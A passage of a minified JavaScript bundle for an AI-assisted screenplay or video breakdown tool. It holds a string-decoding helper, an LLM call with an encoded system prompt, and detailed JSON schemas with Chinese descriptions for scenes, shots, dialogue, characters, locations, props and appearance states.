l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};cn.alaGPc=i,cn.IPZchV={},cn.vcGzia=!0}let r=n[0];cn.cEXTRr!==r&&(cn.IPZchV={},cn.cEXTRr=r);let s=cn.IPZchV[e];return s===void 0?(o=cn.alaGPc(o),cn.IPZchV[e]=o):o=s,o}var pI=Bg(6);async function Jg(e,t,n,o){let i=Bg;return(await e[i(4)](i(2),{system:pI,user:i(0)+t+i(3)+n,...o?{signal:o}:{}}))[i(5)][i(1)]()}function qp(){let e=["5OQk5lIl6z2Iia","DhjPBq","Aw5Nzxn0lMfYyY1ZDw1Tyxj5","ioEAHoMaKoADOEwjP+AdHEA1K+E8QEAiKos4GoAUTEEVH+EROoAIL+AMGIGYmddIGjmZmJaG5A2xloI/NUI0R+AiKoAUTsZKUi3OPOhPGjdPM4BNVzFLIjCPoGOk","z2vUzxjHDgvuzxH0","Dgv4Da","5l2G5PIV55+T5yMN6l+E57UT6l2S5yAz6yEm55Qe44cm6l+C56UV5yMN5Oof5Rwt57YP5zMO44cn44cc5OIr5lYA57Uz5l2G5lIa5Q616l+E57UT6zUg5yY66zE055QekIRPGjdMNAhLIAFMG4xMOPFMPOiQkIJMR4/OOyZKUidPM4BMIjBKUidKUkRMM7tML6NNMOtNR4FNQ6aP44cc5A6d5lUS5PIV57Uz5QIH5z6l5B2tkIROG4ZMMA/LIy3MG4uQkUEuQoEAHoI/NoERR+wjP+AdHsZKUi3PNidOPOhPGjdPM4BNU4BOIOlJGiik5l2G55Qe5lU75yQHoUAkIUwUG+s7RcOQ5Rwt57YP5OIq5lIa5Q616l+E6lsV55Qe56+h56UG5Qkx5QAckIOS5y+Q5l+D55wzoUs4U+E6V+I1SowqKEoaGEwfS+MuRUI9RoAkMooaGEMhJEIMGEs6UUEjQEs4JUwfTUMyTEIqPs/NM67MOiFLJ5JLJjBJGihLVBhLK43LKi7NU63NMOtLM6dMNPZKUi7KVi/NRjtJGiik6kAb5RgcoGOTios4GoAUTEI/NUE7REAwH+wTLYWQkUs4JEIMGsOQ6ycq6zUg572x5yIx44cb5lIn6kAb5yIg54k544cb5lIn6kAb5yAz44cm56YStUMBHUoaJEwTL+AGT+oaGEs4JEIMGEs7U+s9LEAGH+MIMooaGGOTios/NEEvMEwhUUEoSoEAHcOQ5ywZ6zsU5lQ654MP5zcnl+E7HoE7H+wqJs/LNldLKi0QkIJNLkJLJP/MLOFPH4ZNMOtLKi3LRzCPlos4OUAoIEs4GoASOEAaP+M+MEwLL+wsJoEqKoEIJUwkQos9NooaGGOTioAoP+wiTUwCQcaQkJiWmokaKZmYmcdLRzCQkIZLROhLJ6/MPOlMI6ZKUz/KUi3OPOhMTyhMSltOTkBJGiiklsdLJ6ROVPpLH7ROV5NMRRxMOPFMPOlMRApMLOCS5lIn6kAb5lU75l2v5yMn5zco57Ya6k+05PIo44cc"];return qp=function(){return e},qp()}var Hg={type:"object",required:["issues"],additionalProperties:!1,properties:{issues:{type:"array",items:{type:"object",required:["type","asset_ids","state_ids","names","evidence","recommendation","suggested_survivor","action","confidence"],additionalProperties:!1,properties:{type:{type:"string",enum:["duplicate_actor","duplicate_location","duplicate_prop","duplicate_state","suspicious_singleton_state","unused_state","needs_human_review"]},asset_ids:{type:"array",items:{type:"string"}},state_ids:{type:"array",items:{type:"string"}},names:{type:"array",items:{type:"string"}},evidence:{type:"string"},recommendation:{type:"string"},suggested_survivor:{type:["string","null"]},action:{type:"string",enum:["merge","delete","review"]},confidence:{type:"string",enum:["high","medium","low"]}}}}}},Zp={type:"array",items:{type:"object",required:["asset_id","state_id"],additionalProperties:!1,properties:{asset_id:{type:"string"},state_id:{type:["string","null"]}}}},CU={type:"object",required:["scenes"],additionalProperties:!1,properties:{scenes:{type:"array",items:{type:"object",required:["scene_id"],additionalProperties:!1,properties:{scene_id:{type:"string"},actors:{...Zp,items:{type:"object",required:["actor_id","state_id"],additionalProperties:!1,properties:{actor_id:{type:"string"},state_id:{type:["string","null"]}}}},locations:{...Zp,items:{type:"object",required:["location_id","state_id"],additionalProperties:!1,properties:{location_id:{type:"string"},state_id:{type:["string","null"]}}}},props:{...Zp,items:{type:"object",required:["prop_id","state_id"],additionalProperties:!1,properties:{prop_id:{type:"string"},state_id:{type:["string","null"]}}}},state_changes:{type:"array",items:{type:"object",required:["action_index","target_kind","target_id","to_state_id"],additionalProperties:!1,properties:{action_index:{type:"integer"},target_kind:{type:"string",enum:["actor","location","prop"]},target_id:{type:"string"},from_state_id:{type:["string","null"]},to_state_id:{type:"string"},effective_from:{type:"string",enum:["before_action","after_action"]}}}}}}}}},Qg={type:"object",required:["name","description"],additionalProperties:!1,properties:{name:{type:"string",enum:["\u5E38\u6001"],description:"\u5B9E\u4F53\u9996\u6B21\u767B\u8BB0\u65F6\u7684\u9ED8\u8BA4\u9020\u578B\u540D\uFF0C\u56FA\u5B9A\u4E3A\u5E38\u6001"},description:{type:"string",description:"\u9ED8\u8BA4\u9020\u578B\u7684\u53EF\u89C1\u5916\u89C2\uFF0C\u53EA\u5199\u5916\u8C8C\u3001\u670D\u9970\u3001\u6750\u8D28\u3001\u989C\u8272\u3001\u5E03\u666F\u6216\u5F62\u5236\uFF0C\u975E\u7A7A"}}},Fg={type:"object",required:["newEntities","merges","looks","lookChanges","subEvents","summary"],additionalProperties:!1,properties:{newEntities:{type:"array",description:"\u672C\u6BB5\u65B0\u767B\u8BB0\u7684\u5B9E\u4F53(\u4EBA\u7269/\u573A\u666F/\u9053\u5177)\u3002name=canonical\uFF0Caliases \u5217\u5168\u8FD9\u6BB5\u91CC\u5B83\u7684\u6240\u6709\u5176\u4ED6\u53EB\u6CD5",items:{type:"object",required:["kind","name","description","aliases","defaultLook"],additionalProperties:!1,properties:{kind:{type:"string",enum:["actor","location","prop"]},name:{type:"string",description:"\u7EAF canonical \u540D\uFF0C\u4E0D\u542B\u62EC\u53F7/\u659C\u6760/\u8BD1\u540D\u5939\u6CE8/\u5BF9\u767D\u6807\u8BB0"},description:{type:"string",description:"\u4E00\u53E5\u8BDD\u8BF4\u660E\u8FD9\u4E2A\u5B9E\u4F53\u672C\u8EAB\u662F\u8C01/\u4EC0\u4E48\u8EAB\u4EFD/\u4EC0\u4E48\u4E1C\u897F\uFF0C\u975E\u7A7A\uFF1B\u4EBA\u7269\u53EA\u5199\u8EAB\u4EFD\u3001\u89D2\u8272\u548C\u5173\u7CFB\uFF0C\u4E0D\u5199\u670D\u88C5\u9020\u578B"},aliases:{type:"array",items:{type:"string"},description:"\u8FD9\u6BB5\u91CC\u8BE5\u5B9E\u4F53\u7684\u6240\u6709\u5176\u4ED6\u53EB\u6CD5\uFF1A\u522B\u540D/\u8BD1\u540D/\u524D\u4E16\u540D/\u77ED\u540D\u5168\u540D/\u5BF9\u767D\u8BF4\u8BDD\u4EBA\u5728\u6B63\u6587\u91CC\u7684\u5199\u6CD5\uFF0C\u9010\u4E2A\u5355\u5217(\u7EAF\u540D\uFF0C\u4E0D\u5E26\u5BF9\u767D/\u60C5\u7EEA\u6807\u8BB0)"},defaultLook:Qg}}},merges:{type:"array",description:"\u672C\u6BB5\u91CC\u67D0\u4E2A\u5C1A\u672A\u767B\u8BB0\u7684\u79F0\u547C\uFF0C\u5176\u5B9E\u662F\u67D0\u4E2A\u5DF2\u767B\u8BB0\u5B9E\u4F53\u7684\u522B\u540D",items:{type:"object",required:["from","into"],additionalProperties:!1,properties:{from:{type:"string",description:"\u672C\u6BB5\u8FD9\u4E2A\u79F0\u547C(\u5C1A\u672A\u4F5C\u4E3A\u72EC\u7ACB\u5B9E\u4F53\u767B\u8BB0\u8FC7)"},into:{type:"string",description:"\u5B83\u6240\u6307\u7684\u5DF2\u767B\u8BB0\u5B9E\u4F53\u7684 canonical \u540D"}}}},looks:{type:"array",description:"\u9ED8\u8BA4\u9020\u578B\u4E4B\u5916\u3001\u9700\u8981\u5355\u72EC\u590D\u73B0\u7684\u65B0\u589E\u9020\u578B",items:{type:"object",required:["entity","name","aliases","description"],additionalProperties:!1,properties:{entity:{type:"string",description:"\u5B9E\u4F53 canonical \u540D"},name:{type:"string",description:"\u9020\u578B\u540D\uFF0C\u5FC5\u987B\u4E2D\u6587\uFF0C\u82F1\u6587\u4E13\u540D\u5148\u8BD1\u6210\u4E2D\u6587"},aliases:{type:"array",items:{type:"string"},description:"\u540C\u4E49\u9020\u578B\u540D"},description:{type:"string",description:"\u8FD9\u5957\u5916\u89C2\u4E00\u53E5\u8BDD"}}}},lookChanges:{type:"array",description:"\u9020\u578B\u53D8\u5316\uFF1A\u540C\u4E00\u573A\u540C\u4E00\u5B9E\u4F53\u53EF\u6309\u6B63\u6587\u987A\u5E8F\u5217\u51FA\u53D8\u5316\u524D\u540E\u5168\u90E8\u9020\u578B\uFF0C\u6700\u540E\u4E00\u6761\u7531\u540E\u7EED\u4E0D\u53D8\u7684\u573A\u7EE7\u627F\uFF1B\u56DE\u5FC6/\u9884\u6F14\u53CA\u8FD4\u56DE\u73B0\u5B9E\u5747\u663E\u5F0F\u6807\u72B6\u6001",items:{type:"object",required:["scene","entity","look"],additionalProperties:!1,properties:{scene:{type:"string",description:"\u53D8\u5316\u53D1\u751F\u7684\u573A\u666F id\uFF0C\u5982 scn_012"},entity:{type:"string",description:"\u5B9E\u4F53 canonical \u540D"},look:{type:"string",description:"\u672C\u573A\u5B9E\u9645\u51FA\u73B0\u7684\u5DF2\u767B\u8BB0\u9020\u578B\u540D\uFF1B\u540C\u573A\u591A\u9879\u6309\u6B63\u6587\u5148\u540E\u6392\u5217"}}}},subEvents:{type:"array",items:{type:"string"},description:"\u672C\u6BB5\u5173\u952E\u5267\u60C5\u539F\u5B50\uFF0C\u6BCF\u6761\u4E00\u53E5\u8BDD"},summary:{type:"string",description:"\u672C\u6BB5\u4E00\u53E5\u8BDD\u6897\u6982"}}},lI={type:"string",enum:["actor","location","prop"]},Yg={type:"string",description:"\u72B6\u6001\u540D\u7B80\u6D01\u6982\u62EC\u53EF\u533A\u5206\u7684\u9636\u6BB5\u5916\u89C2\uFF1B\u5F15\u7528\u65F6\u9010\u5B57\u4F7F\u7528\u767B\u8BB0\u540D\uFF0C\u8BE6\u7EC6\u5916\u89C2\u5199\u5728 description"},Kg={type:"string",minLength:5,pattern:"^[0-9]{2}:[0-5][0-9](\\.[0-9]{1,3})?$",description:"\u5FC5\u586B\u3002\u672C\u955C\u5934\u6216\u58F0\u97F3\u771F\u6B63\u5F00\u59CB\u7684\u539F\u7247\u65F6\u95F4\uFF0C\u4F7F\u7528 MM:SS\uFF0C\u53EF\u4FDD\u7559\u539F\u7247\u4F9D\u636E\u652F\u6301\u7684 1\u20133 \u4F4D\u5C0F\u6570\uFF0C\u5982 00:03.240\u3002\u53EA\u6709\u6574\u79D2\u4F9D\u636E\u65F6\u5199\u6574\u79D2\uFF0C\u4E0D\u8865\u9020\u5C0F\u6570\u3002SS \u4E3A 00\u201359\uFF0C\u6574\u5206\u949F\u5199\u4E0B\u4E00\u5206\u949F\u7684 :00"},jg={type:"object",required:["name","description"],additionalProperties:!1,properties:{name:Yg,description:{type:"string",description:"\u8BE5\u8D44\u4EA7\u6B64\u9636\u6BB5\u53EF\u590D\u73B0\u7684\u5916\u89C2\uFF0C\u975E\u7A7A\u3002\u4EBA\u7269\u8BB0\u5F55\u8138\u5F62\u3001\u4F53\u6001\u3001\u80A4\u51B5\u3001\u5E74\u9F84\u5916\u89C2\u3001\u5986\u53D1\u3001\u53EF\u8FA8\u58F0\u7EBF\u4E0E\u6301\u7EED\u670D\u88C5\u6574\u4F53\u9020\u578B\uFF0C\u5199\u660E\u53EF\u89C1\u989C\u8272\u3001\u6750\u8D28\u8868\u73B0\u3001\u7248\u578B\u3001\u53E0\u7A7F\u548C\u6301\u7EED\u635F\u4F24\uFF1B\u540C\u8863\u670D\u4E0B\u5B9E\u9645\u4E0D\u540C\u7684\u8138\u5F62\u4F53\u6001\u5206\u522B\u5EFA\u72B6\u6001\u3002\u72EC\u7ACB\u53D6\u653E\u3001\u6301\u6709\u6216\u7A7F\u6234\u64CD\u4F5C\u5BF9\u8C61\u7684\u5B8C\u6574\u5916\u89C2\u5F52 prop\uFF0C\u6301\u6709\u3001\u4F69\u6234\u3001\u6458\u4E0B\u3001\u6570\u91CF\u4E0E\u4F4D\u7F6E\u5173\u7CFB\u5F52 Action\uFF0C\u4EBA\u7269 state \u4E0E\u9053\u5177\u5171\u540C\u590D\u73B0\u573A\u666F\u3002\u906E\u6321\u6216\u672A\u786E\u8BA4\u90E8\u4F4D\u4FDD\u7559\u672A\u77E5\uFF0C\u4E0D\u4ECE\u5C40\u90E8\u8865\u9020\u5168\u8EAB\u3002\u5730\u70B9\u548C\u9053\u5177\u5199\u76F8\u5BF9\u5E38\u6001\u7684\u6301\u7EED\u5916\u89C2\u5DEE\u5F02\uFF1B\u52A8\u4F5C\u3001\u59FF\u6001\u3001\u60C5\u7EEA\u548C\u5267\u60C5\u8BC4\u4EF7\u5F52\u6B63\u6587"}}},zg={type:"object",description:"\u753B\u50CF\u5B57\u6BB5\u586B\u7A7A\u5B57\u7B26\u4E32\uFF0Cpersistent_marks \u586B\u7A7A\u6570\u7EC4\uFF1B\u5168\u90E8\u5916\u8C8C\u3001\u8EAB\u4F53\u6807\u8BB0\u4E0E\u53EF\u8FA8\u58F0\u7EBF\u5199\u5165\u5404\u9636\u6BB5\u5B8C\u6574 state\u3002",required:["apparent_gender","apparent_age","face_shape","brows_eyes","nose","mouth","skin_features","hair","build","persistent_marks","voice"],additionalProperties:!1,properties:{apparent_gender:{type:"string"},apparent_age:{type:"string"},face_shape:{type:"string"},brows_eyes:{type:"string"},nose:{type:"string"},mouth:{type:"string"},skin_features:{type:"string"},hair:{type:"string"},build:{type:"string"},persistent_marks:{type:"array",items:{type:"string"}},voice:{type:"string"}}},qg={type:"object",required:["synopsis","scenes","registry_delta","open_threads"],additionalProperties:!1,properties:{synopsis:{type:"string",description:"\u672C\u96C6\u5267\u60C5\u6897\u6982\uFF0C\u6309\u53D1\u751F\u987A\u5E8F\uFF0C200-300 \u5B57\u7EAF\u6587\u672C"},scenes:{type:"array",minItems:1,description:"\u672C\u96C6\u6240\u6709\u573A\u666F\u5355\u5143\uFF0C\u6309\u65F6\u95F4\u987A\u5E8F\u6392\u5217\u3002\u573A\u5185\u5C3D\u91CF\u5FE0\u5B9E\u8FD8\u539F\u539F\u7247\u5206\u955C\uFF1A\u6BCF\u6B21\u5207\u955C\u3001\u8FDE\u7EED\u955C\u5934\u5185\u7684\u6444\u5F71\u53D8\u5316\u3001\u53EF\u89C1\u8868\u6F14\u548C\u58F0\u97F3\u4E8B\u4EF6\u6309\u5B9E\u9645\u65F6\u95F4\u4EA4\u9519\u4FDD\u7559\uFF0C\u91CD\u590D\u955C\u5934\u4E5F\u4E0D\u53BB\u91CD\uFF1B\u5730\u70B9\u3001\u660E\u663E\u65F6\u6BB5\u6216\u53D9\u4E8B\u7EBF\u53D8\u5316\u65F6\u62C6\u573A\uFF0C\u666E\u901A\u5207\u955C\u4E0D\u5355\u72EC\u62C6 scene\uFF1B\u540C\u4E00\u8FDE\u7EED\u573A\u5185\u7684\u4EBA\u7269\u9020\u578B\u53D8\u5316\u4FDD\u7559\u5728\u540C\u4E00\u573A\uFF1B\u8DE8\u5730\u70B9\u8499\u592A\u5947\u62C6\u6210\u591A\u4E2A\u77ED\u573A",items:{type:"object",required:["space","time","timeRange","location","characters","props","shots","voices"],additionalProperties:!1,properties:{space:{type:"string",description:"\u5185\u666F\u586B\u300C\u5185\u300D/\u5916\u666F\u586B\u300C\u5916\u300D\uFF1B\u4E0D\u786E\u5B9A\u586B\u7A7A\u4E32"},time:{type:"string",enum:["\u65E5","\u591C","\u6668","\u660F"],description:"\u672C\u573A\u5FC5\u987B\u9009\u62E9\u4E00\u4E2A\u65F6\u6BB5\uFF1A\u767D\u5929/\u65E5\u95F4\u586B\u300C\u65E5\u300D\uFF0C\u591C\u665A/\u591C\u95F4\u586B\u300C\u591C\u300D\uFF0C\u6E05\u6668/\u9ECE\u660E\u586B\u300C\u6668\u300D\uFF0C\u9EC4\u660F/\u508D\u665A\u586B\u300C\u660F\u300D\u3002\u7ED3\u5408\u7167\u660E\u3001\u4F5C\u606F\u3001\u5929\u7A7A\u548C\u5267\u60C5\u4E0A\u4E0B\u6587\u5224\u65AD\uFF0C\u4E0D\u5F97\u7559\u7A7A"},timeRange:{type:"string",description:"\u672C\u573A\u8D77\u6B62\u65F6\u95F4 MM:SS-MM:SS\uFF0C\u53EF\u4FDD\u7559\u539F\u7247\u4F9D\u636E\u652F\u6301\u7684 1\u20133 \u4F4D\u5C0F\u6570\uFF1BSS \u4E3A 00\u201359\uFF0C\u6574\u5206\u949F\u5199\u4E0B\u4E00\u5206\u949F\u7684 :00"},location:{type:"string",description:"\u672C\u573A\u552F\u4E00\u7A33\u5B9A\u4E3B\u7A7A\u95F4\u5730\u70B9\u540D\uFF0C\u6CBF\u7528\u89C4\u8303\u540D\uFF1B\u5BA2\u5385/\u5367\u5BA4/\u536B\u751F\u95F4/\u5927\u5385/\u5E7F\u573A/\u821E\u53F0/\u540E\u53F0\u5206\u522B\u5EFA\u5730\u70B9\uFF0C\u76F8\u5173\u7A7A\u95F4\u7528\u300E\u8C6A\u5B85\xB7\u5BA2\u5385\u300F\u5F0F\u547D\u540D"},characters:{type:"array",description:"\u672C\u573A\u5728\u573A\u7684\u5177\u4F53\u5355\u4EBA\u89D2\u8272\uFF08\u7FA4\u4F17\u4E0D\u5217\uFF09\u3002\u540C\u4E00\u89D2\u8272\u53EA\u80FD\u51FA\u73B0\u4E00\u6B21\uFF1B\u5176 states \u586B\u672C\u573A\u51FA\u73B0\u8FC7\u7684\u5168\u90E8\u7A33\u5B9A\u9020\u578B/\u72B6\u6001\u96C6\u5408",items:{type:"object",required:["name","states"],additionalProperties:!1,properties:{name:{type:"string",description:"\u89D2\u8272\u89C4\u8303\u540D"},states:{type:"array",items:Yg,description:"\u672C\u573A\u8BE5\u89D2\u8272\u51FA\u73B0\u8FC7\u7684\u5168\u90E8\u5916\u8C8C\u9636\u6BB5\u4E0E\u9020\u578B\u72B6\u6001\u540D\u96C6\u5408\uFF0C\u9010\u5B57\u5F15\u7528\u5DF2\u6709\u767B\u8BB0\u540D\u6216\u672C\u6B21\u65B0\u5EFA\u540D\u3002\u9636\u6BB5\u548C\u9020\u578B\u5747\u76F8\u540C\u624D\u6CBF\u7528\u5DF2\u6709\u540D\uFF1B\u65E0\u6CD5\u786E\u8BA4\u72B6\u6001\u65F6\u586B\u7A7A\u6570\u7EC4\u3002\u540C\u4E00\u89D2\u8272\u4E00\u6761\u8BB0\u5F55\uFF0C\u56DE\u5FC6\u53CA\u573A\u5185\u53D8\u5316\u5305\u542B\u5B9E\u9645\u51FA\u73B0\u7684\u5404\u9636\u6BB5\u72B6\u6001"}}}},props:{type:"array",items:{type:"string"},description:"\u672C\u573A\u5728\u573A\u7684\u5173\u952E\u9053\u5177\u540D"},shots:{type:"array",description:"\u672C\u573A\u72EC\u7ACB\u7684\u9010\u955C\u6E05\u5355\uFF0C\u4E0E\u58F0\u97F3\u5206\u5F00\u76D8\u70B9\u3002\u539F\u7247\u6BCF\u6B21\u5207\u955C\u90FD\u5FC5\u987B\u6709\u4E00\u6761\uFF0C\u91CD\u590D\u955C\u5934\u4E5F\u4E0D\u53BB\u91CD\uFF1B\u8FDE\u7EED\u955C\u5934\u5185\u7684\u6444\u5F71\u6216\u8868\u6F14\u53D8\u5316\u53E6\u589E\u4E00\u6761\u3002\u4E0D\u56E0\u4E3A\u53F0\u8BCD\u8FDE\u7EED\u6216\u5267\u60C5\u76EE\u7684\u76F8\u540C\u800C\u7701\u7565\u5206\u955C",items:{type:"object",required:["ts","camera","visual"],additionalProperties:!1,properties:{ts:Kg,camera:{type:"string",description:"\u672C\u955C\u5934\u53EF\u786E\u8BA4\u7684\u5207\u6362\u5173\u7CFB\u3001\u666F\u522B\u3001\u89D2\u5EA6\u3001\u673A\u4F4D\u3001\u8FD0\u955C\u3001\u6784\u56FE\u3001\u7126\u70B9\u548C\u753B\u9762\u4E3B\u4F53\uFF1B\u53EA\u5199\u539F\u7247\u80FD\u786E\u8BA4\u7684\u6444\u5F71\u4E8B\u5B9E\uFF0C\u4E0D\u63A8\u6D4B\u955C\u5934\u53C2\u6570\u6216\u62CD\u6444\u610F\u56FE"},visual:{type:"string",description:"\u672C\u955C\u5934\u5B9E\u9645\u53EF\u89C1\u7684\u73AF\u5883\u3001\u4EBA\u7269\u5360\u4F4D\u4E0E\u7AD9\u4F4D\u3001\u59FF\u6001\u3001\u9762\u5411\u3001\u89C6\u7EBF\u3001\u8868\u60C5\u3001\u63A5\u89E6\u3001\u52A8\u4F5C\u5BF9\u8C61\u3001\u9053\u5177\u548C\u7ED3\u679C\uFF1B\u53EA\u5199\u753B\u9762\u4E8B\u5B9E\uFF0C\u4E0D\u7528\u60C5\u7EEA\u3001\u6001\u5EA6\u6216\u5FC3\u7406\u6982\u62EC"}}}},voices:{type:"array",description:"\u672C\u573A\u72EC\u7ACB\u7684\u58F0\u97F3\u6E05\u5355\u3002\u5B8C\u6574\u4FDD\u7559\u51FA\u955C\u5BF9\u767D\u3001\u753B\u5916\u5BF9\u767D\u3001\u89D2\u8272\u5185\u5FC3\u72EC\u767D/\u81EA\u8FF0\u3001\u5BA2\u89C2\u65C1\u767D\u3001\u7535\u8BDD/\u5E7F\u64AD/\u8BBE\u5907\u58F0\u548C\u7FA4\u4F53\u58F0\u3002\u53F0\u8BCD\u8DE8\u955C\u65F6\u6309\u81EA\u7136\u8BED\u53E5\u62C6\u5206\uFF0C\u4E0D\u5F97\u628A\u8DE8\u591A\u4E2A\u955C\u5934\u7684\u591A\u53E5\u53F0\u8BCD\u5408\u5E76\u6210\u4E00\u6761",items:{type:"object",required:["kind","speaker","parenthetical","ts","content"],additionalProperties:!1,properties:{kind:{type:"string",enum:["dlg","think"],description:"dlg=\u4EBA\u7269\u5BF9\u4ED6\u4EBA\u8BF4\u51FA\u7684\u58F0\u97F3\u6216\u5BA2\u89C2\u65C1\u767D\uFF1Bthink=\u97F3\u8F68\u5B9E\u9645\u5305\u542B\u3001\u660E\u786E\u5C5E\u4E8E\u67D0\u89D2\u8272\u7684\u5185\u5FC3\u72EC\u767D/\u7B2C\u4E00\u4EBA\u79F0\u81EA\u8FF0"},speaker:{type:"string",description:"\u8BF4\u8BDD\u4EBA\u89C4\u8303\u540D\uFF1B\u5BA2\u89C2\u53D9\u8FF0\u8005\u6216\u8EAB\u4EFD\u4E0D\u660E\u65C1\u767D\u7528\u300Ebroadcast:\u65C1\u767D\u300F\uFF0C\u5E7F\u64AD\u7528\u300Ebroadcast:\u540D\u300F\uFF0C\u65E0\u6CD5\u533A\u5206\u6210\u5458\u7684\u7FA4\u4F53\u5171\u540C\u53D1\u58F0\u7528\u300Egroup:\u7FA4\u4F53\u540D\u300F"},parenthetical:{type:"string",description:"\u53EF\u786E\u8BA4\u7684\u53D1\u58F0\u65B9\u5F0F\u3001\u58F0\u97F3\u6765\u6E90\uFF0C\u6216\u4E0E\u53F0\u8BCD\u540C\u65F6\u53D1\u751F\u7684\u77ED\u4FC3\u53EF\u89C1\u8868\u6F14\uFF1B\u6CA1\u6709\u5219\u586B\u7A7A\u4E32\u3002\u6444\u5F71\u8C03\u5EA6\u548C\u5F71\u54CD\u8FDE\u7EED\u6027\u7684\u52A8\u4F5C\u5C5E\u4E8E shots\uFF0C\u4E0D\u5199\u5728\u8FD9\u91CC\uFF1B\u4E0D\u7528\u62BD\u8C61\u60C5\u7EEA\u3001\u6001\u5EA6\u6216\u5FC3\u7406\u6807\u7B7E"},ts:Kg,content:{type:"string",description:"\u9010\u5B57\u4FDD\u7559\u97F3\u8F68\u5B9E\u9645\u8BED\u8A00\u548C\u5939\u6742\u8BED\u8A00\uFF0C\u4E0D\u7FFB\u8BD1\u3001\u4E0D\u6539\u5199\u3001\u4E0D\u7528\u7FFB\u8BD1\u5B57\u5E55\u66FF\u6362\u5916\u8BED\u539F\u58F0"}}}}}}},registry_delta:{type:"object",description:"\u5BF9\u5DF2\u77E5\u8BBE\u5B9A\u7684\u589E\u91CF\u7EF4\u62A4\u3002\u5DF2\u6709\u4E14\u65E0\u65B0\u4FE1\u606F\u7684\u5B9E\u4F53\u4E00\u4E2A\u5B57\u90FD\u522B\u5199",required:["new_entities","enrich","canonicalize"],additionalProperties:!1,properties:{new_entities:{type:"array",description:"\u672C\u96C6\u9996\u6B21\u51FA\u73B0\u3001\u4E14\u5DF2\u77E5\u8BBE\u5B9A\u91CC\u6CA1\u6709\u7684\u5B9E\u4F53\u3002\u5FC5\u987B\u8986\u76D6 scenes.location\u3001scenes.characters\u3001scenes.props \u548C\u4EBA\u7269 voices.speaker \u4E2D\u6240\u6709\u65E0\u6CD5\u89E3\u6790\u5230\u5DF2\u77E5\u8BBE\u5B9A\u6216 canonicalize \u76EE\u6807\u7684\u540D\u79F0\uFF1B\u53EA\u767B\u8BB0\u5177\u4F53\u5355\u4EBA\u89D2\u8272\u3001\u7A33\u5B9A\u5730\u70B9\u548C\u5173\u952E\u9053\u5177\uFF0C\u7FA4\u4F17\u4E0D\u767B\u8BB0",items:{type:"object",required:["name","kind","status","importance","appearance","role","states","aliases"],additionalProperties:!1,properties:{name:{type:"string",description:"\u89C4\u8303\u540D\uFF1B\u8BA4\u4E0D\u51FA\u4E14\u65E0\u672C\u540D\u7684\u4EBA\u7528\u300E\u7A33\u5B9A\u5916\u89C2\u7279\u5F81+\u5E74\u9F84\u6BB5+\u6027\u522B\u300F\u6784\u6210\u4E0D\u542B\u59D3\u7684\u63CF\u8FF0\u540D\uFF0C\u7EDD\u4E0D\u7F16\u5E26\u59D3\u5047\u540D"},kind:lI,status:{type:"string",enum:["canonical","provisional"],description:"canonical=\u8EAB\u4EFD\u5DF2\u786E\u8BA4\uFF1Bprovisional=\u8BA4\u4E0D\u51FA/\u672A\u70B9\u540D\uFF0C\u5F85\u540E\u7EED\u7528\u76F4\u63A5\u547D\u540D\u8BC1\u636E\u5347\u7EA7\u89C4\u8303\u540D"},importance:{type:"string",enum:["featured","background"]},appearance:{type:"string",description:"\u5730\u70B9/\u9053\u5177\u7684\u7A33\u5B9A\u53EF\u89C1\u63CF\u8FF0\uFF0C\u4EBA\u7269\u586B\u7A7A\u4E32\u3002\u5730\u70B9\u5199\u7A7A\u95F4\u7ED3\u6784\u3001\u6750\u8D28\u3001\u8272\u5F69\u548C\u56FA\u5B9A\u9648\u8BBE\uFF1B\u9053\u5177\u5199\u5F62\u5236\u3001\u6750\u8D28\u3001\u989C\u8272\u548C\u5C3A\u5BF8\u5173\u7CFB"},role:{type:"string",description:"\u4EBA\u7269\u53EA\u5199\u8EAB\u4EFD\u79F0\u8C13\u4E0E\u4EBA\u7269\u5173\u7CFB\uFF0C\u5730\u70B9/\u9053\u5177\u5199\u7528\u9014\uFF1B\u5916\u8C8C\u5F52state\uFF0C\u884C\u4E3A\u548C\u5267\u60C5\u8BC4\u4EF7\u5F52\u6B63\u6587\uFF0C\u975E\u7A7A"},states:{type:"array",items:jg,description:"\u672C\u96C6\u8BE5\u5B9E\u4F53\u51FA\u73B0\u7684\u9636\u6BB5\u72B6\u6001\u3002\u9996\u6B21\u4EBA\u7269\u767B\u8BB0\u4E5F\u4FDD\u5B58\u5F53\u524D\u5B8C\u6574\u5916\u8C8C\u3001\u53EF\u8FA8\u58F0\u7EBF\u4E0E\u670D\u9970\uFF1B\u6BCF\u9879\u7ED9\u51FA\u53EF\u533A\u5206\u7684\u9636\u6BB5\u72B6\u6001\u540D\u53CA\u6765\u6E90\u652F\u6301\u7684\u8BE6\u7EC6\u63CF\u8FF0"},aliases:{type:"array",items:{type:"string"},description:"\u672C\u96C6\u89C1\u5230\u7684\u5176\u5B83\u79F0\u547C"}}}},enrich:{type:"array",description:"\u5BF9\u5DF2\u77E5\u8BBE\u5B9A\u91CC\u5DF2\u6709\u5B9E\u4F53\u7684\u8865\u5145/\u66F4\u6B63\uFF0C\u53EA\u5199\u53D1\u751F\u53D8\u5316\u7684\u5B57\u6BB5\uFF1B\u65E0\u53D8\u5316\u7684\u5B57\u6BB5\u586B\u7A7A\u4E32/\u7A7A\u6570\u7EC4\uFF0C\u6574\u4F53\u65E0\u53D8\u5316\u7684\u5B9E\u4F53\u4E0D\u8981\u51FA\u73B0",items:{type:"object",required:["name","add_recognition_anchors","identity_profile_patch","appearance","role","add_aliases","add_states"],additionalProperties:!1,properties:{name:{type:"string",description:"\u5DF2\u77E5\u5B9E\u4F53\u7684\u89C4\u8303\u540D"},add_recognition_anchors:{type:"array",items:{type:"string"},description:"\u586B\u7A7A\u6570\u7EC4\uFF1B\u4EBA\u7269\u8BC6\u522B\u6240\u9700\u7684\u53EF\u89C1\u7279\u5F81\u4E0E\u58F0\u7EBF\u4FDD\u5B58\u5728\u5BF9\u5E94 state"},identity_profile_patch:zg,identity_revision:{type:"object",description:"\u65E2\u6709\u753B\u50CF\u6216\u951A\u70B9\u975E\u7A7A\u65F6\u63D0\u4F9B\uFF1Aprofile \u4E2D\u5B57\u7B26\u4E32\u5168\u90E8\u4E3A\u7A7A\u3001persistent_marks \u548C recognition_anchors 